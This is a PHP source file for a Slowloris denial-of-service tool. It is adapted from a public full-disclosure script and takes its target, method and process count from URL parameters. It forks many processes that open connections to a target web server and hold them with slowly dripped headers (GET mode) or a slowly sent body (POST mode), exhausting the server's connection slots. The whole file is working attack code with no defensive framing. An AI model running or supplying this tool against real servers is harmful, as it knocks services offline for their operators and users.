<?php
/* PHP Slowloris
* Adapted from the script found here: http://seclists.org/fulldisclosure/2009/Jun/207
* Contains get based attack (slow headers) and post based attack (long content length)
*
* Author: Seppe vanden Broucke
*
* https://gist.github.com/771824
*
* Convert command line to get zupermen
*/
set_time_limit(0);
function usage()
{
print "Usage: ?method=<get or post>&num=<number of processes>&host=<host>&server<server -> optional>\n";
print_r($_GET);
// print "Usage: ./{$argv[0]} <get or post> <number of processes> <server> [host]\n";
die();
}
function attack_get($server, $host)
{
$request = "GET / HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: " . rand(10000, 100) . "\r\n";
$request .= "Accept: *.*\r\n";
$request .= "X-a: " . rand(1, 10000) . "\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
while (true) {
if (@fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")) {
echo ".";
sleep(15);
} else {
echo "\nOne get attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}
}
function attack_post($server, $host)
{
$request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
$request .= "Content-Length: 100\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
while (true) {
if (@fwrite($sockfd, ".") !== FALSE) {
echo ".";
sleep(1);
} else {
echo "\nOne post attack failed to sent...\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
}
}
}
function main()
{
$status = 1;
if (empty($_GET['host'])) {
usage();
}
if (empty($_GET['num'])) {
usage();
}
if (empty($_GET['method'])) {
usage();
}
$host = trim($_GET['host']);
$server = gethostbyname($_GET['host']);
$num = (int)trim($_GET['num']);
$method = strtolower(trim($_GET['method']));
$method = in_array($method, array('get', 'post')) ? $method : False;
$server=isset($_GET['server']) ? trim($_GET['server']): $server;
if ($method == FALSE) {
usage();
}
if (!intval($num)) {
usage();
}
$pids = array();
if(!function_exists("pcntl_fork")){
exit("pcntl_fork not working");
}
for ($i = 0; $i < $num; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
die("Error forking!\n");
} else if ($pid == 0) {
//child process
if ($method == 'post') {
attack_post($server, $host);
} elseif ($method == 'get') {
attack_get($server, $host);
} else {
die("Invalid method, use 'get' or 'post'\n");
}
exit(0);
} else {
//parent process
$pids[] = $pid;
}
}
foreach ($pids as $pid) {
pcntl_waitpid($pid, $status);
}
}
main();